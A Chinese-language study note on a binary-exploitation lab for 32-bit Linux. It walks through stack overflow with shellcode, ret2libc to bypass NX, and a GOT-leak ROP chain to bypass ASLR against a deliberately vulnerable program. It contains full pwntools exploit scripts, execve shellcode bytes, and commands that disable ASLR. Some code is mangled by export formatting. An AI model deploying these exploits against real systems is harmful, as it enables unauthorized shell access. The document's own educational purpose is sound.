ROP-x86
文章:一步一步学 ROP 之 Linux_x86 篇 - 阿里聚安全 - SegmentFault 思否
Lab Code: zhengmin1989/ROP_STEP_BY_STEP: 一步一步学ROP (github.com)
思维导图: siyuan://plugins/kmind-plugin?data=%7B%22name%22:%22rop_x86%22%7D
注意:
因为做过修改, 所以命令行的目录路径可能不同, 但是gcc主要的编译参数没有问题.
使用思源编写, 有些超链接是思源的格式, 会出现错误
附 由于思维导图是插件构成, 导出图片
Control Flow Hijack (控制流劫持) 常见的CFH:
常见的防御方法:
DEP(堆栈不可执行)
ASLR(内存地址随机化)
Stack Protector(栈保护)
实验代码 该实验没有防护措施, 可以直接攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function () { char buf[128 ]; read (STDIN_FILENO, buf, 256 ); } int main (int argc, char ** argv) { vulnerable_function (); write (STDOUT_FILENO, "Hello, World\n" , 13 ); }
编译指令, 关于两个保护:
栈溢出保护: Canary在栈中保存一个特殊值, 监视栈是否溢出
堆栈禁止执行: 在CPU层面上启用, 将某些内存区域标记为不可执行.
1 2 3 gcc -fno-stack-protector -z execstack -o level1 level1.c | | 关闭栈溢出保护 关闭堆栈禁止执行
关闭当前Linux系统的ASLR保护
1 2 3 4 sudo -s 功能: echo 0 > /proc/sys/kernel/randomize_va_space exit
需要指出的randomize_va_space的功能, 这个文件本质上相当于一个变量, 用于开关ASLR, 变量值就是文件内容, 总共有三种模式:
0 = 关闭
1 = 半随机. 共享库, 栈, mmap()以及VDSO将被随机化
2 = 全随机. 在1的基础上加入了堆随机化.
参考: Linux下关闭ASLR(地址空间随机化)的方法_linux关闭地址随机化-CSDN博客
最终的编译指令 (注意由于WSL是x64环境, 所以编译选项中还需要添加-m32来显式指出编译为32位程序.)
1 gcc -fno-stack-protector -z execstack -m32 -no-pie level1.c -o level1
运行 & 确定偏移点 pattern.py 实验提供pattern.py代码, 需要使用python2运行.
pattern.py使用说明:
确定偏移点 使用pattern.py生成字符串
1 2 python3 pattern.py create 150 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
运行程序, 并使用字符串. 返回地址被字符串覆盖, 返回到一个非法地址0x37654136
1 2 3 4 5 6 7 8 9 pwndbg> run │ Starting program: /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1 │ [Thread debugging using libthread_db enabled] │ Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . │ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A│ d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 │ │ Program received signal SIGSEGV, Segmentation fault. │ 0x37654136 in ?? ()
再使用pattern.py识别返回地址, 并确定填充长度
1 2 3 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ python2 pattern.py offset 0x37654136 hex pattern decoded as: 6 Ae7 140
构造shellcode 由于程序中没有现成的函数调用execve("/bin/sh")
, 所以需要自己构造shellcode.
生成shellcode的方式:
Metasploit Framework(MSF)[^1]生成
自行构造并反编译
在Shell-Storm 上查找shellcode
shellcode1 教程中给出的shellcode解析
1 2 3 4 5 6 7 8 9 #execve ("/bin/sh" ) xor ecx, ecx # ecx = 0 mul ecx # ecx自乘, 0 * 0 = 0, eax = 0 push ecx # 压入一个00 00 00 00 作为字符串的'\0' push 0x68732f2f # 压入字符串 push 0x6e69622f # 压入字符串 mov ebx, esp # 字符串指针作为参数1 mov al, 11 # 调用号 int 0x80 # 系统调用
payload的大致分布 1 2 [shellcode]["AAAAAAAAAA..." ][ret_address] ^---------------------------------------|
确定payload偏移 由于栈的内存分布在不同的环境下不同, 所以调试下栈的分布与未调试的栈分布不同. 如果想要执行shellcode, 就需要ret_address返回到正确的字符串头地址.
开启core dump 在未调试的情况下开启Core Dump环境[^2]
1 2 ulimit -c unlimited sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
然后运行程序, 并字符串覆盖返回地址, 构成内存错误, 此时会生成core文件.
注意: 这个内存错误必须是直接执行时触发, 而不是在调试的时候触发. (否则core dump下来的还是调试时的栈地址)
1 2 3 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ ./level1 ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped)
gdb调试core文件 1 $ gdb level1 /tmp/core.1695222277
计算栈空间: 由于retn
实际上是pop eip
, 所以ESP指针在返回地址的下面. 所以字符串的起始地址 = $esp - 144
1 2 3 4 5 6 7 8 9 --------------- | | 填充的140 个字节 | | --------------- 返回地址 (4 字节) --------------- --> ESP
使用gdb查看内存数据, 发现了特征字符串头, 也确定了ret_address = 0xffc7c700
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> x/10 s $esp - 144 │ 0xffc7c700 : "ABCD" , 'A' <repeats 149 times>, "\n\361\367\031\205\313\367\241\312\307\377p" │0xffc7c7a6 : "" │0xffc7c7a7 : "" │0xffc7c7a8 : "" │0xffc7c7a9 : "P\361\367\031\205\313\367\001" │0xffc7c7b2 : "" │0xffc7c7b3 : "" │0xffc7c7b4 : "d\310\307\377l\310\307\377\320\307\307\377" │0xffc7c7c1 : "\020\354\367\273\221\004\b\001" │0xffc7c7ca : "" │pwndbg>
重新确定ret_address 看错了core文件 (看成了调试的core文件), 导致ret_address一直都是错误的.
ret_address = 0xffffc7b0
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/10 s $esp - 144 │ 0xffffc7b0 : '1' <repeats 30 times>, 'A' <repeats 110 times>, "2222\n\310\377\377" │0xffffc845 : "\220\372\367 \320\377\367\031\005\332\367\215\312\377\377p" │0xffffc856 : "" │0xffffc857 : "" │0xffffc858 : "" │0xffffc859 : "\320\377\367\031\005\332\367\001" │0xffffc862 : "" │0xffffc863 : "" │0xffffc864 : "\024\311\377\377\034\311\377\377\200\310\377\377" │0xffffc871 : "\220\372\367\273\221\004\b\001"
第二次回顾记录 在第二次回顾实验的时候发现, 直接运行level1触发内存异常的core文件的栈地址仍然与pwntools中运行的栈地址不同. 需要在运行pwntools后查看对应的core文件才行.
正常运行level1的core
所以正确的retaddress = 0xffffc1f0
编写exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * conn = process ("./level1" ) ret = 0xffffc7b0 # first time ret = 0xffffc1f0 # second time shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += b"\x0b\xcd\x80" payload = shellcode + b' A' * (140 - len (shellcode)) + p32 (ret) conn.sendline (payload) conn.interactive ()
Ret2libc - Bypass DEP (通过ret2libc绕过DEP防护)
DEP(Data Execution Prevention): 即数据执行保护. 软件级别的DEP保护有NX保护, 即限制特定内存不可执行, 比如说堆栈不可执行.
思路总结 前置条件:
1 2 3 4 5 6 7 8 ╭─lamecrow@LAPTOP-PUE31HT9 ~/code/c/pwn/zm_rop/lab2 ╰─$ checksec level2 [*] '/home/lamecrow/code/c/pwn/zm_rop/lab2/level2' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 )
Stack’s canary: 关闭
NX: 开启
PIE: 关闭
程序中没有出现system函数和字符串
流程:
找到溢出点 (因为无需使用shellcode, 直接可以跳转到system, 所以不需要找到在堆栈中的起始地址, payload构造起来也相对简单些)
gdb调试, print命令找到system的函数地址
gdb调试, search命令找到”/bin/sh”字符串地址
确定system的返回地址, 一般是随意的
构造payload: 填充 + (当前函数返回地址 -> system) + (system函数返回地址 -> 任意地址) + (参数 -> "/bin/sh"字符串地址)
实验代码 实验代码不变, 只在编译时开启NX保护
1 gcc -fno-stack-protector
确定ret_address 因为重新编译过, 输入字符串在栈中的位置会发生改变, 所以需要重新校准.
首先输入字符串覆盖返回地址, 造成内存错误, 并生成coredump文件.
1 2 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ ./level2 111111111111111111111111111111 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2222 Segmentation fault (core dumped)
然后使用gdb调试, 查看字符串起始地址, 也就是ret_address的值
1 2 3 pwndbg> x /10b x $esp - 144 │ 0xffffd2b0 : 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 │0xffffd2b8 : 0x31 0x31
修改后的exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 1 from pwn import * 2 3 conn = process ("./level2" ) 4 5 # level2 6 ret = 0xffffd2b0 7 8 shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" 9 shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" 10 shellcode += b"\x0b\xcd\x80" 11 12 payload = shellcode + b' A' * (140 - len (shellcode)) + p32 (ret)13 14 #pause() 15 16 conn.sendline (payload)17 18 conn.interactive ()
运行该脚本, 得到错误输出, 信号是SIGSEGV, 说明是访问了非法的内存, 也就是执行了没有执行权限的栈内存.
1 2 3 4 5 6 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ python3 exploit.py [+] Starting local process './level2' : pid 30225 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ ls [*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 30225 ) [*] Got EOF while sending in interactive
验证NX保护 level2栈权限 在exploit中使用pause(), 暂停进程并记录PID
1 2 3 4 5 6 7 8 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ python3 exploit.py [+] Starting local process './level2' : pid 1200 [*] Paused (press any to continue ) [*] Switching to interactive mode [*] Got EOF while reading in interactive $ exit [*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 1200 ) [*] Got EOF while sending in interactive
然后查看该进程的内存映射, 最后一行stack的内存权限是: 可读可写且为私有段(s表示共享段), 但是不可执行 .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ sudo cat /proc/1200 /maps [sudo] password for lamecrow: 08048000 -08049000 r--p 00000000 00 :4 c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level208049000 -0804 a000 r-xp 00001000 00 :4 c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level20804 a000-0804b 000 r--p 00002000 00 :4 c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level20804b 000-0804 c000 r--p 00002000 00 :4 c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level20804 c000-0804 d000 rw-p 00003000 00 :4 c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2f7d7f000-f7d9f000 r--p 00000000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7d9f000-f7f21000 r-xp 00020000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f21000-f7fa6000 r--p 001 a2000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7fa6000-f7fa7000 ---p 00227000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7fa7000-f7fa9000 r--p 00227000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7fa9000-f7faa000 rw-p 00229000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7faa000-f7fb4000 rw-p 00000000 00 :00 0 f7fbe000-f7fc0000 rw-p 00000000 00 :00 0 f7fc0000-f7fc4000 r--p 00000000 00 :00 0 [vvar] f7fc4000-f7fc6000 r-xp 00000000 00 :00 0 [vdso] f7fc6000-f7fc7000 r--p 00000000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7fc7000-f7fec000 r-xp 00001000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7fec000-f7ffb000 r--p 00026000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7ffb000-f7ffd000 r--p 00034000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7ffd000-f7ffe000 rw-p 00036000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 fffdd000-ffffe000 rw-p 00000000 00 :00 0 [stack]
为了验证, 重复上述步骤查看level1的stack
level1栈权限 首先添加pause(), 并运行exploit.py
1 2 3 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ python3 exploit.py [+] Starting local process './level1' : pid 12907 [*] Paused (press any to continue )
然后查看其maps文件, 最后一行的stack的内存权限是: 可执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ sudo cat /proc/12907 /maps [sudo] password for lamecrow: 08048000 -08049000 r--p 00000000 00 :4 c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level108049000 -0804 a000 r-xp 00001000 00 :4 c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level10804 a000-0804b 000 r--p 00002000 00 :4 c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level10804b 000-0804 c000 r--p 00002000 00 :4 c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level10804 c000-0804 d000 rw-p 00003000 00 :4 c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1f7d7f000-f7d9f000 r--p 00000000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7d9f000-f7f21000 r-xp 00020000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f21000-f7fa6000 r--p 001 a2000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7fa6000-f7fa7000 ---p 00227000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7fa7000-f7fa9000 r--p 00227000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7fa9000-f7faa000 rw-p 00229000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7faa000-f7fb4000 rw-p 00000000 00 :00 0 f7fbe000-f7fc0000 rw-p 00000000 00 :00 0 f7fc0000-f7fc4000 r--p 00000000 00 :00 0 [vvar] f7fc4000-f7fc6000 r-xp 00000000 00 :00 0 [vdso] f7fc6000-f7fc7000 r--p 00000000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7fc7000-f7fec000 r-xp 00001000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7fec000-f7ffb000 r--p 00026000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7ffb000-f7ffd000 r--p 00034000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7ffd000-f7ffe000 rw-p 00036000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 fffdd000-ffffe000 rwxp 00000000 00 :00 0 [stack]
思路梳理
当前问题: 无法在堆栈中执行代码, 而字符串也是用push的方式存入堆栈的, 所以当前面临两个困境
无法执行system
没有”/bin/sh字符串”
解决: level2调用了libc.so库 , 并且libc.so保存了大量可利用函数 (解决问题一), 如果可以让程序执行system(“/bin/sh”), 也可以获取shell.
如果关闭ASLR(数据段地址随机化), system()函数在内存中的地址不会发生变化, 并且libc.so中也包含了"/bin/sh"字符串, 并且这个字符串的地址也是固定的.
find system & “/bin/sh” 使用gdb调试level2, 在main函数处下一个断点, 因为libc动态库需要程序运行时才加载到程序内存中, 在程序运行到main函数时libc已经加载完成.
1 2 3 4 5 6 7 8 9 10 ------- tip of the day (disable with set show-tips off) ------- │ Disable Pwndbg context information display with set context-sections '' │ pwndbg> break main │ Breakpoint 1 at 0x80491ca │ pwndbg> run │ Starting program: /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2 │ [Thread debugging using libthread_db enabled] │ Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . │ │ Breakpoint 1 , 0x080491ca in main () │
使用print打印对应符号的信息, 找到了system函数的地址
1 2 pwndbg> print system │ $3 = {int (const char *)} 0xf7dc7150 <__libc_system>
使用search全局搜索, 找到”/bin/sh”字符串
1 2 3 pwndbg> search -t string /bin/sh │ Searching for value: b' /bin/sh\x00' │ libc.so.6 0xf7f3c0f5 '/bin/sh'
编写Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 1 from pwn import * 2 3 conn = process ("./level2" ) 4 5 system = 0xf7dc7150 6 ret = 0xdeadbeef 7 shell = 0xf7f3c0f5 8 9 payload = b' A' * 140 + p32 (system) + p32 (ret) + p32 (shell) 10 11 conn.sendline (payload)12 13 conn.interactive ()
为什么payload要这样排布, 应该代入到调用system的上下文中:
首先会将字符串参数压入栈中, 所以”/bin/sh”的地址会在最下方
然后call指令会将返回地址压入栈中, 所以倒数第二个是最终的返回地址, 但是已经调用system创建子进程了, 所以父进程的返回地址就无所谓了, 可以随意构造
然后最上方的system地址是retn的返回地址, 在retn后实际上是pop了一次, 所以esp会推到ret处, 再观察栈中内容, 会发现和call后的栈内容一样 (特别是返回地址, 字符串参数的偏移是没有错误的) , 所以后续system不论是获取参数还是返回都是正常的.
ROP - Bypass DEP and ASLR (通过ROP绕过DEP和ASLR)
ASLR(数据地址随机化): 在checksec中叫做PIE(Position-Independent Executable).
实验代码 仍然是level1.c, 打开ASLR保护
1 2 sudo -s echo 2 > /proc/sys/kernel/randomize_va_space
编译命令
1 gcc -fno-stack-protector -m32 ../lab1/level1.c -o level3
使用checksec查看安全属性
1 2 3 4 5 6 7 8 ╭─lamecrow@LAPTOP-PUE31HT9 ~/code/c/pwn/zm_rop/lab3 ╰─$ checksec level3 [*] '/home/lamecrow/code/c/pwn/zm_rop/lab3/level3' Arch: i386-32 -little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
验证ASLR 测试level2的exploit脚本 无法获取shell
1 2 3 4 5 6 7 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ python3 exploit.py [+] Starting local process './level3' : pid 9736 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ [*] Process './level3' stopped with exit code -11 (SIGSEGV) (pid 9736 ) [*] Got EOF while sending in interactive
debug脚本 编写一个测试用的pwntools脚本
1 2 3 4 5 6 7 8 9 10 11 1 from pwn import * 2 3 conn = process ("./level3" ) 4 5 payload = b' A' 6 7 pause () 8 9 conn.sendline (payload) 10 11 conn.interactive ()
进程1地址空间 然后查看其maps文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 lamecrow@LAPTOP-PUE31HT9:/mnt/c/Users/17495 $ sudo cat /proc/19314 /maps [sudo] password for lamecrow: 08048000 -08049000 r--p 00000000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level308049000 -0804 a000 r-xp 00001000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level30804 a000-0804b 000 r--p 00002000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level30804b 000-0804 c000 r--p 00002000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level30804 c000-0804 d000 rw-p 00003000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3f7d2e000-f7d4e000 r--p 00000000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7d4e000-f7ed0000 r-xp 00020000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7ed0000-f7f55000 r--p 001 a2000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f55000-f7f56000 ---p 00227000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f56000-f7f58000 r--p 00227000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f58000-f7f59000 rw-p 00229000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f59000-f7f63000 rw-p 00000000 00 :00 0 f7f6d000-f7f6f000 rw-p 00000000 00 :00 0 f7f6f000-f7f73000 r--p 00000000 00 :00 0 [vvar] f7f73000-f7f75000 r-xp 00000000 00 :00 0 [vdso] f7f75000-f7f76000 r--p 00000000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7f76000-f7f9b000 r-xp 00001000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7f9b000-f7faa000 r--p 00026000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7faa000-f7fac000 r--p 00034000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7fac000-f7fad000 rw-p 00036000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 ffe75000-ffe97000 rw-p 00000000 00 :00 0 [stack]
进程2地址空间 动态库与进程1的地址空间不同, 但是level3程序本身在虚拟内存中的位置是固定的 .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 lamecrow@LAPTOP-PUE31HT9:/mnt/c/Users/17495 $ sudo cat /proc/19863 /maps 08048000 -08049000 r--p 00000000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level308049000 -0804 a000 r-xp 00001000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level30804 a000-0804b 000 r--p 00002000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level30804b 000-0804 c000 r--p 00002000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level30804 c000-0804 d000 rw-p 00003000 00 :4 c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3f7cff000-f7d1f000 r--p 00000000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7d1f000-f7ea1000 r-xp 00020000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7ea1000-f7f26000 r--p 001 a2000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f26000-f7f27000 ---p 00227000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f27000-f7f29000 r--p 00227000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f29000-f7f2a000 rw-p 00229000 08 :20 23205 /usr/lib/i386-linux-gnu/libc.so.6 f7f2a000-f7f34000 rw-p 00000000 00 :00 0 f7f3e000-f7f40000 rw-p 00000000 00 :00 0 f7f40000-f7f44000 r--p 00000000 00 :00 0 [vvar] f7f44000-f7f46000 r-xp 00000000 00 :00 0 [vdso] f7f46000-f7f47000 r--p 00000000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7f47000-f7f6c000 r-xp 00001000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7f6c000-f7f7b000 r--p 00026000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7f7b000-f7f7d000 r--p 00034000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 f7f7d000-f7f7e000 rw-p 00036000 08 :20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2 fff89000-fffab000 rw-p 00000000 00 :00 0
ASLR破解思路
首先泄漏libc.so某些函数在内存中的地址
根据泄漏的函数地址 + 偏移量计算出system()函数和”/bin/sh”字符串在内存中的地址
栈, libc, heap的地址都是随机的, 但是程序的内存地址是固定的 (这个在maps文件中也体现了, 观察上面的两个maps文件, 发现对level3的映射是固定的)
可以通过GOT表找到write()函数地址, 然后根据固定的偏移找到system()函数
使用objdump查看PLT信息 查看objdump的plt表反汇编数据, 因为system和read, write都位于libc中 , 属于导入函数, 需要使用plt表, 所以首先查看plt表的信息.
由于程序本身没有调用system, 可以先找到write(read也行)函数的地址, 然后通过固定的偏移找到system()函数.
这里涉及到了延时绑定技术, 在CSAPP和程序员的自我修养中都有提到, CSAPP较为简洁, 但是也够用了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ objdump -d -j .plt level3 level3: file format elf32-i386 Disassembly of section .plt: 08049030 <__libc_start_main@plt-0x10 >: 8049030 : ff 35 04 c0 04 08 push 0x804c004 8049036 : ff 25 08 c0 04 08 jmp *0x804c008 804903 c: 00 00 add %al,(%eax) ... 08049040 <__libc_start_main@plt>: 8049040 : ff 25 0 c c0 04 08 jmp *0x804c00c 8049046 : 68 00 00 00 00 push $0x0 804904b : e9 e0 ff ff ff jmp 8049030 <_init+0x30 > 08049050 <read@plt>: 8049050 : ff 25 10 c0 04 08 jmp *0x804c010 8049056 : 68 08 00 00 00 push $0x8 804905b : e9 d0 ff ff ff jmp 8049030 <_init+0x30 > 08049060 <write@plt>: 8049060 : ff 25 14 c0 04 08 jmp *0x804c014 8049066 : 68 10 00 00 00 push $0x10 804906b : e9 c0 ff ff ff jmp 8049030 <_init+0x30 >
查看链接信息 1 2 3 4 lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ ldd level3 linux-gate.so.1 (0xf7f36000 ) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cf1000 ) /lib/ld-linux.so.2 (0xf7f38000 )
找到动态库文件后, 将其复制到当前文件夹, 方便后续使用.
编写exploit 分步解析exploit.py文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 1 from pwn import * 2 3 libc = ELF ("libc.so" ) 4 elf = ELF ("level3" ) 5 6 conn = process ("./level3" ) 7 8 # 打印PLT表中, write ()函数对应的条目地址 9 # 打印出来的地址可以到objdump中验证, 可以发现与PLT表中对应条目的地址相同 10 plt_write = elf.symbols['write' ]11 print ('plt_write = ' + hex (plt_write))12 13 # 打印GOT表中, write ()函数对应的地址14 # 打印出来的地址可以到objdump中验证, 与PLT表中第一个JMP的跳转地址相同15 got_write = elf.got['write' ]16 print ('got_write = ' + hex (got_write))17 18 # vulnable_function ()的地址通过gdb或IDA查看19 vulfun_addr = 0x08049186 20 print ('vulfun = ' + hex (vulfun_addr))21 22 # 填充 + 目标函数地址 + 返回地址 + 参数列表(1 , got_write地址, 4 )23 # 实际上就是调用了write (1 , got_write绝对地址, 4 ), 把运行中的write ()绝对地址输出到st d_out中, 这样就可以接收得知函数地址24 payload1 = b' a' * 140 + p32 (plt_write) + p32 (vulfun_addr) + p32 (1 ) + p32 (got_write) + p32 (4 )25 26 # 输入payload27 print ("\n###sending payload1...###" )28 conn.send (payload1)29 30 # 通过write ()函数, 标准输出了write (()函数的绝对地址31 print ("\n###receving write() addr...###" )32 write_addr = u32 (conn.recv (4 ))33 print ('write_addr = ' + hex (write_addr))34 35 print ("\n###calculating system() addr and \"/bin/sh\" addr...###" )36 37 # 首先获取库基址, 然后再加上system的偏移, 得到了实际system ()的实际地址38 system_addr = write_addr - libc.symbols['write' ] + libc.symbols['system' ]39 print ('system_addr = ' + hex (system_addr))40 41 # 搜索elf文件libc库, 与上面同理42 binsh_addr = write_addr - libc.symbols['write' ] + next (libc.search (b' /bin/sh' ))43 print ('binsh_addr = ' + hex (binsh_addr))44 45 # 由于上一次payload最终又返回了vulfun, 所以又再一次读取, 这一次构造system调用和sh的 字符串地址46 payload2 = b' a' * 140 + p32 (system_addr) + p32 (vulfun_addr) + p32 (binsh_addr) 47 48 print ("\n###sending payload2...###" )49 conn.send (payload2)50 51 conn.interactive ()
[^2]: # Core Dump环境
# 配置代码
来自: 确定payload偏移[^3]
1 2 ulimit -c unlimited sudo sh -c 'echo "/tmp/core/core.%t" > /proc/sys/kernel/core_pattern'
